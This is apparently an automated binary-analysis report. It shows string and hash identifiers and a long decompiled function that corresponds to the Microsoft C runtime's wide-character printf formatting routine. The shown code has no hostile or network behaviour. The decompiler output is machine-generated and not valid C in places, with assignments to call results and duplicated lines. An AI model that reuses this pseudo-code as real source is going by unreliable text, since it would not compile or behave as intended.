String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3961059608-322421350
Opcode ID: 2ab1e9bc8948bc5f3ca306ed263feee21203a2af1a72725bf5a2b547e1af7acf
Instruction ID: 1f17987953224c9a74a2272733b25602e93d6af4a254e0ee2c5e1719b1e1d5ae
Opcode Fuzzy Hash: 2ab1e9bc8948bc5f3ca306ed263feee21203a2af1a72725bf5a2b547e1af7acf
Instruction Fuzzy Hash: B921F4B0A04349EBCF38CF48CC41BAE3360BB48314F20462FE8A46A7D0D7799950CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C236, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0043C236(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				intOrPtr _t501;
				signed int _t519;
				intOrPtr _t523;
				intOrPtr _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					_t524 = __esi;
					_t523 = __edi;
					_t501 = __ebx;
					 *(_t525 - 0x30) = 8;
					while(1) {
						L143:
						 *(__ebp - 0x460) = 7;
						while(1) {
							L145:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								__edx = 0x30;
								 *(__ebp - 0x14) = __dx;
								 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
								__eflags =  *(__ebp - 0x460) + 0x51;
								 *(__ebp - 0x12) = __ax;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L150:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00428360(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428360(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
												 *(__ebp - 0x49c) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428360(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
										 *(__ebp - 0x49c) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L167;
								}
								L163:
								__eflags =  *(__ebp - 0x49c);
								if(__eflags > 0) {
									goto L167;
								}
								L164:
								if(__eflags < 0) {
									L166:
									 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
									__edx =  *(__ebp - 0x49c);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
									 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L168:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x4a8);
											__eax =  *(__ebp - 0x4a4);
											__eax =  *(__ebp - 0x4a4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x4a4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x249;
									 *(__ebp - 4) = __ebp - 0x249;
									while(1) {
										L178:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L180;
										}
										L179:
										 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
											L183:
											__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L187:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L212;
													}
													L188:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	__edx = 0x20;
																	 *(__ebp - 0x14) = __dx;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																__eax = 0x2b;
																 *(__ebp - 0x14) = __ax;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__ecx = 0x2d;
															 *(__ebp - 0x14) = __cx;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E0043C970(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E0043C9B0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x44c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x4ac);
															__eax = E0043C970(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) != 0) {
														L208:
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x24);
														__edx =  *(__ebp - 4);
														__eax = E0043C9B0(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
														goto L209;
													} else {
														L201:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L208;
														}
														L202:
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x4b0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
														while(1) {
															L203:
															__ecx =  *(__ebp - 0x4b4);
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															__eflags = __ecx;
															if(__ecx <= 0) {
																break;
															}
															L204:
															__ecx = __ebp - 0x40;
															__eax = E0041ACE0(__ebp - 0x40);
															__ecx = __ebp - 0x40;
															E0041ACE0(__ebp - 0x40) =  *__eax;
															__ecx =  *(__ebp - 0x458 + 0xac);
															__edx =  *(__ebp - 0x4b0);
															__eax = __ebp - 0x458;
															 *(__ebp - 0x4b8) = E0043B410(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
															__eflags =  *(__ebp - 0x4b8);
															if( *(__ebp - 0x4b8) > 0) {
																L206:
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x458) & 0x0000ffff = E0043C910( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																continue;
															}
															L205:
															 *(__ebp - 0x44c) = 0xffffffff;
															break;
														}
														L207:
														L209:
														__eflags =  *(__ebp - 0x44c);
														if( *(__ebp - 0x44c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x4ac) = E0043C970(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
															}
														}
													}
													L212:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														__ecx =  *(__ebp - 0x20);
														__eax = L0041C3D0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L214:
														 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
														_t502 =  *(_t525 - 0x454) & 0x0000ffff;
														 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
														if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
															break;
														} else {
															if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
																 *(_t525 - 0x4d8) = 0;
															} else {
																 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
															}
														}
														L7:
														 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
														_t519 =  *(_t525 - 0x450) * 9;
														_t490 =  *(_t525 - 0x45c);
														_t510 = ( *(_t519 + _t490 + 0x407e08) & 0x000000ff) >> 4;
														 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x407e08) & 0x000000ff) >> 4;
														if( *(_t525 - 0x45c) != 8) {
															L16:
															 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
															__eflags =  *(_t525 - 0x4e0) - 7;
															if( *(_t525 - 0x4e0) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0043C804))) {
																case 0:
																	L18:
																	 *(_t525 - 0xc) = 1;
																	E0043C910( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																	_t527 = _t527 + 0xc;
																	goto L214;
																case 1:
																	L19:
																	 *(__ebp - 0x2c) = 0;
																	__ecx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) = __ecx;
																	__edx =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__eax =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L214;
																case 2:
																	L20:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e4) = __ecx;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	__eflags =  *(__ebp - 0x4e4) - 0x10;
																	if( *(__ebp - 0x4e4) > 0x10) {
																		goto L27;
																	}
																	L21:
																	_t57 =  *(__ebp - 0x4e4) + 0x43c83c; // 0x498d04
																	__ecx =  *_t57 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0043C824))) {
																		case 0:
																			goto L24;
																		case 1:
																			goto L25;
																		case 2:
																			goto L23;
																		case 3:
																			goto L22;
																		case 4:
																			goto L26;
																		case 5:
																			goto L27;
																	}
																case 3:
																	L28:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__edx =  *(__ebp - 0x18);
																		__edx =  *(__ebp - 0x18) * 0xa;
																		__eflags = __edx;
																		_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__ecx = __edx + _t81;
																		 *(__ebp - 0x18) = __ecx;
																	} else {
																		__edx = __ebp + 0x14;
																		 *(__ebp - 0x18) = E00428360(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			__ecx =  *(__ebp - 0x18);
																			__ecx =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) = __ecx;
																		}
																	}
																	L33:
																	goto L214;
																case 4:
																	L34:
																	 *(__ebp - 0x30) = 0;
																	goto L214;
																case 5:
																	L35:
																	__edx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__ecx =  *(__ebp - 0x30);
																		__ecx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __ecx;
																		_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__eax = __ecx + _t92;
																		 *(__ebp - 0x30) = __ecx + _t92;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x30) = E00428360(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L214;
																case 6:
																	L41:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e8) = __ecx;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	__eflags =  *(__ebp - 0x4e8) - 0x2e;
																	if( *(__ebp - 0x4e8) > 0x2e) {
																		L64:
																		goto L214;
																	}
																	L42:
																	_t100 =  *(__ebp - 0x4e8) + 0x43c864; // 0xc0719003
																	__ecx =  *_t100 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0043C850))) {
																		case 0:
																			L47:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																				L50:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																					L53:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																					if(( *__ecx & 0x0000ffff) == 0x64) {
																						L59:
																						L61:
																						goto L64;
																					}
																					L54:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x69;
																					if(__ecx == 0x69) {
																						goto L59;
																					}
																					L55:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																						goto L59;
																					}
																					L56:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																					if(( *__ecx & 0x0000ffff) == 0x75) {
																						goto L59;
																					}
																					L57:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x78;
																					if(__ecx == 0x78) {
																						goto L59;
																					}
																					L58:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																						 *(__ebp - 0x45c) = 0;
																						goto L18;
																					}
																					goto L59;
																				}
																				L51:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																				__eflags = __ecx - 0x32;
																				if(__ecx != 0x32) {
																					goto L53;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					goto L61;
																				}
																			}
																			L48:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x34;
																			if(__ecx != 0x34) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				goto L61;
																			}
																		case 1:
																			L62:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) = __ecx;
																			goto L64;
																		case 2:
																			L43:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) = __ecx;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L64;
																		case 3:
																			L63:
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																			goto L64;
																		case 4:
																			goto L64;
																	}
																case 7:
																	L65:
																	__eax =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																	__ecx =  *(__ebp - 0x4ec);
																	__ecx =  *(__ebp - 0x4ec) - 0x41;
																	 *(__ebp - 0x4ec) = __ecx;
																	__eflags =  *(__ebp - 0x4ec) - 0x37;
																	if( *(__ebp - 0x4ec) > 0x37) {
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L66:
																	_t141 =  *(__ebp - 0x4ec) + 0x43c8d0; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043C894))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *(__ebp - 0x460) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00428360(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x474);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B750( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041ACE0(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0xf2632e26
																					E00424550(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041ACE0(__ebp - 0x40));
																							__ecx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__edx =  *0x440380; // 0xf2d1ae26
																							E00424550(__edx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041ACE0(__ebp - 0x40));
